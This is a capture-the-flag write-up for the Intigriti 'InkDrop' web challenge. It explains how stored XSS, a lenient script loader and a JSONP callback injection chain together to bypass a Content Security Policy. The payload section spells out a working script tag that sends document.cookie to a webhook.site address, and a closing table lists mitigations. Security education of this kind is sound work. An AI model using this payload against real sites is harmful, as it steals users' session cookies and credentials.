# ๐Ÿ–‹๏ธ InkDrop โ€” Stored XSS to Admin Cookie Theft via JSONP Gadget & CSP Bypass > **Intigriti February 2026 Monthly Challenge โ€” Full Writeup** ![Solved](https://img.shields.io/badge/Status-โœ…_SOLVED-00e676?style=for-the-badge&labelColor=1a1a2e) ![Category](https://img.shields.io/badge/Category-Web_Security-7c4dff?style=for-the-badge&labelColor=1a1a2e) ![Difficulty](https://img.shields.io/badge/Difficulty-Medium-ffab00?style=for-the-badge&labelColor=1a1a2e) ![Platform](https://img.shields.io/badge/Platform-Intigriti-4fc3f7?style=for-the-badge&labelColor=1a1a2e) --- :::info :bulb: **TL;DR** โ€” Chained a **Stored XSS** (via an unsanitized custom Markdown renderer) with a **CSP bypass** (via a same-origin JSONP callback injection) to exfiltrate the admin bot's `flag` cookie to an attacker-controlled webhook. ::: ![CTF Solved](https://hackmd.io/_uploads/HJwETpXOWx.png) --- ## ๐Ÿ“‘ Table of Contents [TOC] --- ## ๐Ÿงญ Challenge Overview | Detail | Value | |:---|:---| | **Challenge** | InkDrop | | **Platform** | [Intigriti](https://www.intigriti.com/) Monthly CTF | | **Category** | Web Exploitation | | **Techniques** | Stored XSS ยท CSP Bypass ยท JSONP Callback Injection ยท Cookie Exfiltration | | **Tech Stack** | Python (Flask) ยท JavaScript ยท Custom Markdown Parser | | **Key Files** | `app.py` ยท `static/js/preview.js` ยท `/api/jsonp` endpoint | | **Impact** | :red_circle: **Critical** โ€” Full Admin Cookie Theft | **InkDrop** is a modern writing/blogging platform with Markdown support. On the surface, it's clean and well-designed. Under the hood, three individually "low-risk" misconfigurations chain together into a devastating exploit: 1. :one: A **homegrown Markdown parser** with zero sanitization 2. :two: An **overly helpful script loader** that force-executes injected scripts 3. :three: A **JSONP endpoint** with weak callback validation > *"The most dangerous vulnerabilities aren't exploits โ€” they're design decisions."* --- ## ๐ŸŽฏ Objective :::success :dart: **Goal:** Report a malicious post to the admin bot. The bot visits it with its session cookies. **Steal the admin's `flag` cookie** and submit it. ::: --- ## Phase 1 โ€” Reconnaissance & Code Auditing The challenge provides full source code, so the approach is a **white-box code review** focusing on the data flow: > **User Input โ†’ Storage โ†’ Rendering โ†’ Browser Execution** ### 1.1 The Custom Markdown Renderer :page_facing_up: **File:** `app.py` The core rendering logic is in `render_markdown()`. Instead of using a battle-tested library like [`mistune`](https://github.com/lepture/mistune), [`markdown2`](https://github.com/trentm/python-markdown2), or [`bleach`](https://github.com/mozilla/bleach), the developers built a custom parser with raw regular expressions: ```python def render_markdown(content): html_content = content html_content = re.sub(r'^### (.+)$', r'<h3>\1</h3>', html_content, flags=re.MULTILINE) html_content = re.sub(r'^## (.+)$', r'<h2>\1</h2>', html_content, flags=re.MULTILINE) html_content = re.sub(r'^# (.+)$', r'<h1>\1</h1>', html_content, flags=re.MULTILINE) html_content = re.sub(r'\*\*(.+?)\*\*', r'<strong>\1</strong>', html_content) html_content = re.sub(r'\*(.+?)\*', r'<em>\1</em>', html_content) html_content = re.sub(r'\[(.+?)\]\((.+?)\)', r'<a href="\2">\1</a>', html_content) return html_content ``` :::danger :rotating_light: **Vulnerability: Zero HTML Sanitization** The function performs **no input validation, no HTML encoding, and no sanitization.** Any raw HTML tags in the user's input pass through **verbatim**: ``` Input: <script>alert(1)</script> Output: <script>alert(1)</script> โ† Stored as-is in the database ``` **Verdict:** Textbook **Stored Cross-Site Scripting (XSS)** vector. ::: --- ### 1.2 The Script Execution Catalyst :page_facing_up: **File:** `static/js/preview.js` When a user views a post, `preview.js` fetches the rendered HTML and injects it via `innerHTML`. But the developers knew that browsers **don't execute `<script>` tags** inserted via `innerHTML` (by design per the HTML5 spec). Their "fix"? They added a helper function that **manually re-attaches** matching scripts to the DOM: ```javascript function processContent(container) { const scripts = container.querySelectorAll('script'); scripts.forEach(function(script) { if (script.src && script.src.includes('/api/')) { const newScript = document.createElement('script'); newScript.src = script.src; document.body.appendChild(newScript); } }); } ``` :::warning :warning: **What This Function Does** | Check | Purpose | |:---|:---| | `script.src` | Only processes scripts with an external `src` attribute | | `script.src.includes('/api/')` | Only loads scripts whose URL contains `/api/` | | `document.body.appendChild()` | **Forces script execution** by creating a fresh `<script>` element | This is essentially a **whitelisted script loader**. If we craft a `<script>` tag with a `src` URL that contains `/api/` and points to a same-origin resource โ€” this function will **force the browser to execute it**. ::: --- ## ๐Ÿ›ก๏ธ Phase 2 โ€” The CSP Wall Before exploiting, let's analyze the Content Security Policy: ``` Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src * data:; connect-src *; ``` ### CSP Directive Breakdown | Directive | Value | Impact on Attack | |:---|:---|:---| | `script-src` | `'self'` | :x: Cannot load scripts from external domains | | *(no `unsafe-inline`)* | โ€” | :x: Inline `<script>alert(1)</script>` is **blocked** | | `connect-src` | `*` | :white_check_mark: `fetch()` / `XMLHttpRequest` can reach **any** external URL | | `img-src` | `* data:` | :white_check_mark: Images from anywhere (useful for alternative exfil) | :::info :lock: **The Wall** The CSP says: *"You can only execute JavaScript if it's loaded from MY domain. No inline scripts. No external scripts. Period."* To execute JavaScript, we **must** find a controllable script endpoint on the same origin โ€” a **"self" gadget**. ::: --- ## Phase 3 โ€” Discovering the JSONP Gadget While auditing API routes in `app.py`, I found a classic **JSONP (JSON with Padding)** endpoint โ€” and it's our golden ticket. :page_facing_up: **File:** `app.py` โ€” Route `/api/jsonp` ```python @app.route('/api/jsonp') def api_jsonp(): callback = request.args.get('callback', 'handleData') if '<' in callback or '>' in callback: callback = 'handleData' # ... response = f"{callback}({json.dumps(user_data)})" return Response(response, mimetype='application/javascript') ``` ### How JSONP Works A normal API returns JSON: ```json {"username": "hacker", "email": "hacker@evil.com"} ``` A JSONP response **wraps** it in a client-specified callback: ```javascript handleData({"username": "hacker", "email": "hacker@evil.com"}) ``` The browser loads this as a `<script>`, executes it, and the callback receives the data. This is a pre-CORS mechanism โ€” **and it's notoriously dangerous.** ### :rotating_light: The Vulnerability: Weak Callback Validation The **only** validation on the `callback` parameter: ```python if '<' in callback or '>' in callback: callback = 'handleData' ``` This blocks angle brackets to prevent HTML injection, but **allows everything else**: | Character | Allowed? | Exploitation Use | |:---|:---:|:---| | `(` `)` | :white_check_mark: | Function calls | | `.` | :white_check_mark: | Property access / method chaining | | `'` `"` | :white_check_mark: | String literals | | `;` | :white_check_mark: | Statement termination | | `=` | :white_check_mark: | Assignment | | `//` | :white_check_mark: | Comments โ€” neutralize trailing JSONP data | :::success :tada: **Result** We can inject **arbitrary JavaScript** into the callback parameter. The response is served as `application/javascript` from the same origin โ€” **perfectly satisfying both:** - **CSP** โ†’ `script-src 'self'` :white_check_mark: - **preview.js** โ†’ URL contains `/api/` :white_check_mark: ::: --- ## Phase 4 โ€” Crafting the Exploit Chain ### 4.1 Attack Strategy The full chain consists of three interlocking components: ```mermaid flowchart LR A["โ‘  STORED XSS\nโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€\nInject raw script tag\nvia Markdown renderer\n(zero sanitization)"] --> B["โ‘ก CSP BYPASS\nโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€\nJSONP endpoint on\nsame-origin reflects\nour JS payload\n(served as 'self')"] B --> C["โ‘ข EXFILTRATION\nโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€\nfetch() sends\ndocument.cookie\nto webhook.site\n(connect-src *)"] style A fill:#ff1744,stroke:#b71c1c,color:#fff style B fill:#ff9100,stroke:#e65100,color:#fff style C fill:#00e676,stroke:#00c853,color:#fff ``` ### 4.2 Final Payload ```html <script src="/api/jsonp?callback=fetch('https://webhook.site/88af9121-b76a-4f93-9580-05ce6ee02985?c='.concat(document.cookie))//"></script> ``` ### Payload Dissection Let's break this down piece by piece: | # | Component | Role | |:---:|:---|:---| | 1 | `<script src="...">` | Injected into the post body โ€” passes through the unsanitized Markdown renderer | | 2 | `/api/jsonp?callback=` | Targets the JSONP endpoint โ€” `src` contains `/api/`, passing the `preview.js` check | | 3 | `fetch('https://webhook.site/...?c='` | Initiates outbound HTTP request to our webhook (allowed by `connect-src *`) | | 4 | `.concat(document.cookie))` | Appends the victim's cookies (including `flag`) to the URL | | 5 | `//` | JS single-line comment โ€” neutralizes trailing JSONP data to prevent `SyntaxError` | ### What the Server Actually Returns ```javascript fetch('https://webhook.site/88af9121-b76a-4f93-9580-05ce6ee02985?c='.concat(document.cookie))//({"username":"admin","email":"admin@inkdrop.ctf"}) ^^ // comments out everything after this point ``` The `//` turns the trailing `({"username":...})` into a comment โ€” making the response **syntactically valid JavaScript** that the browser happily executes. --- ### 4.3 Execution & Flag Capture #### :one: Step 1 โ€” Inject the Payload Logged in and created a new post with the XSS payload as the content body: ![Payload Injection โ€” XSS script tag inserted into the post content field](https://hackmd.io/_uploads/SJmg6T7dbe.png) > The `<script>` tag is stored as-is because `render_markdown()` performs zero sanitization. --- #### :two: Step 2 โ€” Report to Admin Clicked the **"Report to Moderator"** button. This triggers the admin bot to visit the post. --- #### :three: Step 3 โ€” Bot Triggers the Chain When the admin bot loads the post, the following execution sequence fires: ```mermaid sequenceDiagram participant Bot as ๐Ÿค– Admin Bot participant App as ๐Ÿ–ฅ๏ธ InkDrop App participant Preview as ๐Ÿ“œ preview.js participant JSONP as โš™๏ธ /api/jsonp participant Webhook as ๐ŸŽฃ webhook.site Bot->>App: GET /post/<id> App-->>Bot: HTML page with preview.js Bot->>Preview: Execute preview.js Preview->>App: Fetch rendered post content App-->>Preview: HTML with <script src="/api/jsonp?callback=fetch(...)//"> Preview->>Preview: innerHTML inserts content Preview->>Preview: processContent() scans for scripts Note over Preview: Found script with /api/ in src โœ… Preview->>JSONP: Load /api/jsonp?callback=fetch(...)// JSONP-->>Bot: fetch('https://webhook...?c='.concat(document.cookie))//({...}) Note over Bot: Browser executes fetch() Bot->>Webhook: GET /?c=flag=INTIGRITI{019c668f-...} Note over Webhook: ๐Ÿšฉ FLAG CAPTURED! ``` --- #### :four: Step 4 โ€” Flag Captured! :tada: The webhook immediately received a GET request from the admin bot's IP (`34.140.37.218` โ€” Brussels, Belgium) containing the flag cookie in the query string: ![Flag received on webhook.site โ€” admin's flag cookie exfiltrated](https://hackmd.io/_uploads/BkyT2aQ_be.png) :::success :triangular_flag_on_post: **Query String Captured:** ``` c = flag=INTIGRITI{019c668f-bf9f-70e8-b793-80ee7f86e00b} ``` ::: --- ## ๐Ÿ”— Full Attack Flow ```mermaid graph TD A["๐Ÿง‘โ€๐Ÿ’ป Attacker"] -->|"โ‘  Create post\nwith XSS payload"| B["๐Ÿ–ฅ๏ธ InkDrop App"] B -->|"Stores raw HTML\n(no sanitization)"| C[("๐Ÿ—„๏ธ Database")] A -->|"โ‘ก Report post\nto admin"| D["๐Ÿค– Admin Bot"] D -->|"โ‘ข Visits post\n(has flag cookie)"| B B -->|"Returns rendered\npost with script"| D D -->|"โ‘ฃ preview.js loads\nJSONP script"| E["โš™๏ธ /api/jsonp"] E -->|"Returns callback\nas valid JS from 'self'"| D D -->|"โ‘ค fetch() exfils\ndocument.cookie"| F["๐ŸŽฃ webhook.site"] F -->|"๐Ÿšฉ Flag received!"| A style A fill:#7c4dff,stroke:#4a148c,color:#fff style B fill:#1e88e5,stroke:#0d47a1,color:#fff style C fill:#546e7a,stroke:#263238,color:#fff style D fill:#ff9100,stroke:#e65100,color:#fff style E fill:#ff1744,stroke:#b71c1c,color:#fff style F fill:#00e676,stroke:#1b5e20,color:#fff ``` --- ## ๐Ÿ Flag :::success ``` INTIGRITI{019c668f-bf9f-70e8-b793-80ee7f86e00b} ``` ::: --- ## ๐Ÿ“š Lessons Learned & Mitigations ### Why Each Weakness Matters | # | Issue | Why It's Dangerous | Fix | |:---:|:---|:---|:---| | 1 | **Regex-based Markdown parser** | Regex cannot safely parse & sanitize HTML. It's trivially bypassable. | Use a battle-tested library with built-in sanitization (`bleach`, `DOMPurify`, `markdown-it`). | | 2 | **JSONP with weak validation** | Filtering only `<>` allows full JS injection via callback. | Deprecate JSONP. Use **CORS**. If JSONP is required, enforce `^[a-zA-Z_][a-zA-Z0-9_.]*$` on callback. | | 3 | **preview.js script re-execution** | Manually creating & appending `<script>` elements defeats browser `innerHTML` protections. | Never re-execute scripts from user-controlled HTML. Use strict templating. | | 4 | **CSP allows `'self'` gadgets** | Any controllable same-origin endpoint (like JSONP) becomes a CSP bypass. | Audit all same-origin JS-serving endpoints. Use CSP `nonce` or `hash` instead of `'self'`. | | 5 | **No `HttpOnly` on cookies** | JS can read `document.cookie`, enabling exfiltration via XSS. | Set `HttpOnly` and `Secure` flags on all sensitive cookies. | ### Key Takeaways :::warning :key: **A CSP is only as strong as the scripts it trusts.** If any same-origin endpoint reflects user-controlled content as JavaScript, the entire CSP collapses. ::: :::warning :key: **JSONP is a legacy pattern and should be treated as a known-dangerous surface.** Every JSONP endpoint is a potential XSS gadget waiting to be abused. ::: :::warning :key: **Defense in depth matters.** If *any single layer* had been properly implemented โ€” `HttpOnly` cookies, proper sanitization, strict callback validation, or CSP nonces โ€” **this entire chain would have been broken.** ::: --- ## ๐Ÿ“– References - :book: [OWASP โ€” Stored XSS](https://owasp.org/www-community/attacks/xss/#stored-xss) - :book: [PortSwigger โ€” CSP Bypass](https://portswigger.net/web-security/cross-site-scripting/content-security-policy) - :book: [MDN โ€” Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) - :book: [DOMPurify Sanitizer](https://github.com/cure53/DOMPurify) - :book: [HackTricks โ€” JSONP CSP Bypass](https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass) --- :::info :trophy: **Challenge Solved!** This challenge was a masterclass in exploit chaining demonstrating how three individually "minor" issues combine into a **critical vulnerability** with full account compromise. * Made with :coffee: and curiosity. Thanks for reading!* :::